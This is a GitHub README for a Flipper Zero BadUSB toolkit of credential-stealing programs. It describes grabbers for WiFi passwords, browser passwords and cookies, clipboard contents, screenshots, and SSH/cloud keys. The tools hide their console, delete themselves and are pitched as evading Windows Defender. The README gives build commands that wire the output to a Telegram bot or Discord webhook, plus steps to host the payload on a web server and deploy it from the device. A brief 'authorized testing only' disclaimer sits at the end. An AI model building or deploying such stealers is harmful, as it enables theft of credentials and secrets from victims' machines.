Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

16 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Flipper Zero Toolkit

Author: Tsali Twitch: TsaliThighmane OF: Tsali bsky: @cultofjames.org Site: cultofjames.org

A collection of Flipper Zero BadUSB scripts and custom tools for authorized penetration testing.

CERO MIEDO


Tools

WiFi Password Grabber (badusb/wifi/)

Extracts all saved WiFi passwords from Windows 10/11 using the native WLAN API. Bypasses Windows Defender — no PowerShell, no netsh, no flagged commands.

  • Calls WlanEnumInterfaces / WlanGetProfile directly
  • Hidden console, self-deleting, no trace
  • Exfiltrates to Telegram bot or Discord webhook
  • Reports: hostname, username, public + private IP
  • ~5 second runtime

Browser Password & Cookie Grabber (badusb/browser/)

Extracts saved credentials from 7 browsers + session cookies:

Browser Status
Chrome URLs + usernames + passwords (pre-v127) + cookies
Edge URLs + usernames + passwords (pre-v127) + cookies
Opera / Opera GX URLs + usernames + passwords (pre-v127) + cookies
Brave URLs + usernames + passwords (pre-v127) + cookies
Vivaldi URLs + usernames + passwords (pre-v127) + cookies
Firefox Encrypted creds + key4.db (offline crack with firepwd.py)

Note: Chrome v127+ (v20 encryption) passwords can't currently be decrypted. URLs and usernames are still captured.

Network Scanner (badusb/netscan/)

Maps the local network — discovers hosts and open ports. Uses native Windows APIs (Winsock2 + iphlpapi). No nmap, no PowerShell.

Quick mode (~25s):

  • Local adapter info (IP, MAC, gateway, DNS)
  • ARP scan entire /24 — finds all live hosts + MAC addresses
  • Port scan localhost only (SSH, HTTP, SMB, RDP, etc.)

Deep mode (~2-3min):

  • Everything from quick mode
  • Port scans every discovered host (7 common ports)

Threaded ARP scan (50 parallel threads) for speed.

Screenshot Grabber (badusb/screen/)

Captures a PNG screenshot of all monitors (entire virtual desktop). Uses GDI for capture + GDI+ flat API for PNG encoding. No PowerShell.

  • Multi-monitor support — captures the full virtual desktop
  • PNG output (much smaller than BMP)
  • Reports: hostname, username, public IP, total resolution, monitor count
  • Hidden console, self-deleting
  • ~5 second runtime

Clipboard Grabber (badusb/clip/)

Extracts current clipboard contents with automatic content classification.

  • Unicode + ANSI text, file lists (CF_HDROP), image detection
  • Auto-classifies sensitive content: API keys (sk-, ghp_, AKIA), passwords, URLs, emails
  • Enumerates all clipboard formats present
  • Hidden console, self-deleting
  • ~5 second runtime

SSH/Cloud Key Grabber (badusb/keys/)

Extracts SSH keys, cloud credentials, and authentication tokens from the user's home directory.

Target Files
SSH ~/.ssh/* (private keys, config, known_hosts)
AWS ~/.aws/credentials, ~/.aws/config
Azure ~/.azure/ (tokens, profiles, MSAL cache)
Kubernetes ~/.kube/config
Docker ~/.docker/config.json
Git ~/.gitconfig, ~/.git-credentials
NPM ~/.npmrc (auth tokens)
PostgreSQL ~/.pgpass, pgpass.conf
Env files .env in ~, Desktop, Documents, Downloads, common dev dirs
  • Skips binary files (reports size only)
  • Reports found vs not-found for each target
  • Hidden console, self-deleting
  • ~5 second runtime

Setup

1. Telegram Bot

  • Message @BotFather/newbot → save token
  • Message @userinfobot → get chat ID

2. Compile

Use the build script with your preferred exfil method:

# Telegram exfil
python tools/build.py all --telegram --token YOUR_BOT_TOKEN --chat YOUR_CHAT_ID

# Discord webhook exfil
python tools/build.py all --discord --webhook https://discord.com/api/webhooks/ID/TOKEN

# Build only WiFi tool
python tools/build.py wifi --telegram --token YOUR_TOKEN --chat YOUR_CHAT

# Build only browser tool with Discord
python tools/build.py browser --discord --webhook https://discord.com/api/webhooks/ID/TOKEN

# Build only network scanner
python tools/build.py scan --telegram --token YOUR_TOKEN --chat YOUR_CHAT

# Build individual tools
python tools/build.py screen --telegram --token YOUR_TOKEN --chat YOUR_CHAT
python tools/build.py clip --telegram --token YOUR_TOKEN --chat YOUR_CHAT
python tools/build.py keys --telegram --token YOUR_TOKEN --chat YOUR_CHAT

Or compile manually with Visual Studio:

# Telegram
cl /O2 /DUSE_TELEGRAM /DTG_TOKEN="your_token" /DTG_CHAT="your_chat_id" /Fe:wifi_grab.exe wifi_grab.c wlanapi.lib ole32.lib advapi32.lib user32.lib

# Discord
cl /O2 /DUSE_DISCORD /DDC_WEBHOOK="your_webhook_url" /Fe:wifi_grab.exe wifi_grab.c wlanapi.lib ole32.lib advapi32.lib user32.lib

Requirements: Visual Studio 2022 with C++ desktop development workload, Windows 10/11 SDK.

3. Host & Deploy

  • Upload compiled .exe to your web server
  • Update BadUSB scripts with your server URL
  • Copy scripts to Flipper's badusb/ folder

Why Custom EXEs?

Windows Defender (2026) catches all common approaches:

  • netsh wlan key=clear — flagged
  • PowerShell AMSI bypass — flagged
  • WebBrowserPassView — flagged
  • UAC bypass (fodhelper/computerdefaults) — flagged

Custom tools using native Windows APIs have no known signatures.


Legal

Authorized penetration testing only. Only use on systems you own or have explicit written permission to test.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages